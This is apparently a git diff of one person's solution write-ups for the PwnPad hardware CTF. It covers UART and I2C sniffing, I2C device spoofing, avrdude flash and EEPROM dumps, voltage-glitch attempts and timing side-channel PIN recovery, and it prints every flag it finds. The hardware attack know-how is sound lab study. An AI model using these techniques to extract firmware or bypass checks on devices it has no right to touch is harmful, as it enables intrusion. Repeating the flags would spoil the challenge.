+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
